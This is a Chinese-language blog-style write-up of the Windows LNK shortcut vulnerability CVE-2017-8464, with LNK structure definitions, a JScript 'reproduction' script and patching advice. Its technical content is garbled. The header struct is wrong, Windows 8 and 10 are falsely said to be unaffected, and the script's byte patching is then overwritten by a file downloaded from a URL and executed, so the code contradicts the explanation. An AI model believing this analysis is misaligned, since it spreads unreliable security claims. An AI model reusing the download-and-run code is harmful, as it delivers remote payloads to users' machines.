您的位置:

CVE-2017-8464漏洞分析

一、漏洞概述

CVE-2017-8464是一种在Windows Shell远程执行代码的漏洞。攻击者可以通过文件共享、WebDAV共享、USB、外部存储等多种方式将恶意的LNK文件注入受害用户计算机中,当用户双击打开这些恶意的LNK文件时,就会触发漏洞,攻击者就可以远程控制受害者计算机。

漏洞类型:远程执行代码漏洞

漏洞等级:严重

二、漏洞成因

在Windows Shell中,ShellExecute函数是一个非常重要的函数,它主要是用于启动一个应用程序、打开指定文件等操作。当用户双击一个Lnk文件时,ShellExecute会被调用来启动指定程序。而LNK文件中各种属性的值会通过ShellExecute函数参数传递给ShellExecute。恶意LNK文件通过特定的属性和值来操纵ShellExecute函数进而执行恶意代码。

三、漏洞分析

LNK文件是Windows文件系统中短切方式的一种,它包含了被链接的文件和目标信息。在LNK文件中,一个被称为“ShellLinkHeader”的结构体保存了多个与LNK文件相关的信息,包括LNK文件大小、文件标识符等等。此外,还有一个名为“LinkInfo”的部分,保存着LNK文件的一些特性,包括其实体路径、属性、图标等,这些信息对ShellExecute函数来说是至关重要的。

    typedef struct _GUID {
        ULONG Data1;
        USHORT Data2;
        USHORT Data3;
        UCHAR Data4[8];
    } GUID;
    
    typedef struct {
        GUID LinkCLSID;
        ULONG LinkFlags;
        ULONG FileAttributes;
        FILETIME CreationTime;
        FILETIME AccessTime;
        FILETIME WriteTime;
        ULONG FileSize;
        LONG IconIndex;
        ULONG ShowCommand;
        short HotKey;
        ULONG Reserved1;
        ULONG Reserved2;
        ULONG Reserved3;
    } ShellLinkHeader;

    typedef struct {
        ULONG LinkInfoSize;
        ULONG LinkInfoHeaderSize;
        ULONG LinkInfoFlags;
        ULONG VolumeIDOffset;
        ULONG LocalBasePathOffset;
        ULONG CommonNetworkRelativeLinkOffset;
        ULONG CommonPathSuffixOffset;
        ULONG LocalBasePathOffsetUnicode;
        ULONG CommonPathSuffixOffsetUnicode;
    } LinkInfo;

在漏洞的复现过程中,攻击者通过LNK文件中的值来操纵ShellExecute函数。例如,LinkInfo中保存的本地路径信息可以通过RemoteName来覆盖,当ShellExecute函数执行时,会按照RemoteName中指定的路径来执行,而不是真实路径。攻击者利用该漏洞可以操纵ShellExecute函数,从而实现对受害计算机的远程控制。

四、漏洞复现

需要注意的是,CVE-2017-8464漏洞只存在于Windows 7及其前身的Windows操作系统上,Windows 8和Windows 10并不受影响。

漏洞复现过程如下:

    //创建LNK文件,设置LinkInfo信息
    var shellApplication = new ActiveXObject("Shell.Application");
    var folder = shellApplication.NameSpace(folderPath);
    var folderItem = folder.ParseName(fileName);
    var link = folderItem.GetLink;
    var linkPath = folderPath + "\\" + lnkName;
    var shortcut = link.CreateShortcut(linkPath);
    shortcut.TargetPath = "calc.exe";
    shortcut.Arguments = "";
    shortcut.Description = "test shortcut";
    shortcut.IconLocation = "calc.exe";
    shortcut.Save();

    //伪装LNK文件,RemoteName覆盖本地路径信息
    var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00";
    var fileStream = new ActiveXObject("ADODB.Stream");
    fileStream.Type = 2;
    fileStream.Open();
    fileStream.LoadFromFile(linkPath);
    fileStream.Position = 0x4c+4;
    fileStream.WriteText(l2, 1);
    fileStream.WriteText(l3, 1);
    fileStream.SaveToFile(downloadPath, 2);
    fileStream.Close();

    //下载伪装的LNK文件
    var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
    objXMLHTTP.open("GET", downloadUrl, false);
    objXMLHTTP.send();
    var adoStream = new ActiveXObject("ADODB.Stream");
    adoStream.Type = 1;
    adoStream.Open();
    adoStream.Write(objXMLHTTP.ResponseBody);
    adoStream.Position = 0;
    adoStream.SaveToFile(downloadPath, 2);
    adoStream.Close();

    //双击伪装的LNK文件
    var objShell = new ActiveXObject("WScript.Shell");
    objShell.Run(downloadPath, 1, true);

五、漏洞防范

微软已经发布了针对该漏洞的补丁,建议用户及时升级操作系统,安装最新的安全补丁。

此外,用户在使用电脑时,要警惕不明来源文件和URL链接,避免双击或访问可能存在安全问题的文件。

六、总结

CVE-2017-8464是一种存在于Windows Shell的远程执行代码漏洞,攻击者可以通过构造LNK文件注入恶意代码,并远程控制受害者计算机。尽管漏洞已经有针对应对的安全补丁,但是还是建议用户在使用电脑时要保持警惕,避免不明来源的文件和URL链接带来的安全风险。